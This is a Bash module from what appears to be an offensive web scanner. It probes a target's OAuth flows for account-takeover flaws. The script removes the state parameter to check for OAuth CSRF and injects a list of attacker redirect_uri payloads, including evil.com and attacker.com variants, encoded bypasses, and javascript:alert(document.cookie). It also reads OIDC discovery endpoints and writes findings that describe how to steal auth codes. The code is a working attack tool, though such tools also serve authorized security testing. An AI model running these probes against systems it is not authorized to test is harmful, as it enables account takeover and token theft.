New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
129 lines
4.9 KiB
Bash
129 lines
4.9 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 28: OAuth Takeover — Detects OAuth misconfigurations
|
|
# Desc: Tests OAuth flows for redirect_uri, state, and CSRF issues
|
|
# Severity: CRITICAL
|
|
# Proof: Account takeover proof via open redirect / token theft
|
|
|
|
vector_oauth_takeover() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting OAuth Misconfiguration..."
|
|
|
|
local base=$(get_base "$target")
|
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
|
local oauth_urls=$(echo "$urls" | grep -iE 'oauth|auth|login|signin|sso|callback|redirect|connect|authorize|token' | head -20)
|
|
|
|
[ -z "$oauth_urls" ] && oauth_urls="$target"
|
|
|
|
# OAuth redirect_uri tests
|
|
local redirect_uris=(
|
|
"https://evil.com"
|
|
"https://${domain}.evil.com"
|
|
"https://evil${domain}"
|
|
"https://${domain}.attacker.com"
|
|
"https://attacker.com/redirect?to=${domain}"
|
|
"https://evil.com/?domain=${domain}"
|
|
"https://${domain}.evil.com%2Fcallback"
|
|
"https://evil.com%2F%40${domain}"
|
|
"data:text/html,<script>alert(1)</script>"
|
|
"javascript:alert(document.cookie)"
|
|
)
|
|
|
|
# OAuth state parameter tests
|
|
local state_tests=(
|
|
"state=test123"
|
|
"state="
|
|
"state=missing"
|
|
"" # missing state
|
|
)
|
|
|
|
# OpenID Connect discovery
|
|
local oidc_paths=(
|
|
"/.well-known/openid-configuration"
|
|
"/.well-known/oauth-authorization-server"
|
|
"/oauth2/.well-known/openid-configuration"
|
|
"/api/.well-known/openid-configuration"
|
|
)
|
|
|
|
for oauth_url in $oauth_urls; do
|
|
# Test for missing state parameter (CSRF on OAuth)
|
|
if echo "$oauth_url" | grep -qi 'state='; then
|
|
# Check if removing state still works
|
|
local no_state_url=$(echo "$oauth_url" | sed 's/&state=[^&]*//;s/state=[^&]*&//')
|
|
if [ "$no_state_url" != "$oauth_url" ]; then
|
|
local resp_no_state=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "$no_state_url" 2>/dev/null)
|
|
local resp_state=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "$oauth_url" 2>/dev/null)
|
|
|
|
if [ "$resp_no_state" != "400" ] && [ "$resp_no_state" != "403" ]; then
|
|
print_find "OAuth CSRF — Missing State!" "State parameter removal doesn't break flow"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: OAuth CSRF (Missing State)
|
|
DETAIL: OAuth flow works without state parameter
|
|
URL: $oauth_url
|
|
EXPLOIT: CSRF attack to link attacker's account to victim" > "$REPORTS_DIR/.finding_oauth_csrf_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
fi
|
|
fi
|
|
fi
|
|
|
|
# Test redirect_uri open redirect
|
|
for redirect in "${redirect_uris[@]}"; do
|
|
local encoded_redirect=$(printf '%s' "$redirect" | jq -sRr @uri 2>/dev/null || echo "$redirect")
|
|
|
|
for redirect_param in "redirect_uri" "redirect" "callback" "return_url" "return_to" "next" "goto"; do
|
|
local test_url=$(echo "$oauth_url" | sed "s|redirect_uri=[^&]*|${redirect_param}=${encoded_redirect}|" 2>/dev/null)
|
|
|
|
if [ "$test_url" != "$oauth_url" ] || [[ "$oauth_url" == *"$redirect_param"* ]]; then
|
|
local final_url=$(curl -s -o /dev/null -w "%{redirect_url}" --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
|
|
|
if echo "$final_url" | grep -qi 'evil.com\|attacker.com'; then
|
|
print_find "OAuth Open Redirect!" "redirect_uri accepts external domains"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: OAuth Redirect URI Bypass
|
|
DETAIL: OAuth allows external redirect_uri
|
|
URL: $test_url
|
|
REDIRECTS_TO: $final_url
|
|
EXPLOIT: Steal auth codes via open redirect" > "$REPORTS_DIR/.finding_oauth_redirect_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 3
|
|
fi
|
|
fi
|
|
done
|
|
done
|
|
|
|
# Check for token leakage in referer
|
|
if echo "$oauth_url" | grep -qi 'access_token\|id_token\|token='; then
|
|
print_find "OAuth Token in URL!" "Token exposed in URL (referer leakage risk)"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: OAuth Token Leakage
|
|
DETAIL: Token transmitted in URL query string
|
|
EVIDENCE: Token present in OAuth redirect URL
|
|
EXPLOIT: Referer header leaks token to third-party resources" > "$REPORTS_DIR/.finding_oauth_token_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
fi
|
|
done
|
|
|
|
# Test OIDC discovery endpoints
|
|
for path in "${oidc_paths[@]}"; do
|
|
local oidc_data=$(curl -s --connect-timeout 5 --max-time 8 "${base}${path}" 2>/dev/null)
|
|
if echo "$oidc_data" | grep -qi '"issuer"\|"authorization_endpoint"\|"jwks_uri"'; then
|
|
print_find "OIDC Discovery Exposed!" "OpenID Connect metadata at ${path}"
|
|
echo "SEVERITY: MEDIUM
|
|
VECTOR: OIDC Discovery Exposed
|
|
DETAIL: OpenID Connect configuration publicly accessible
|
|
URL: ${base}${path}
|
|
ISSUER: $(echo "$oidc_data" | grep -o '"issuer":"[^"]*"' | cut -d'"' -f4)" > "$REPORTS_DIR/.finding_oidc_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
fi
|
|
done
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No OAuth misconfigurations found"
|
|
fi
|
|
|
|
return $findings
|
|
}
|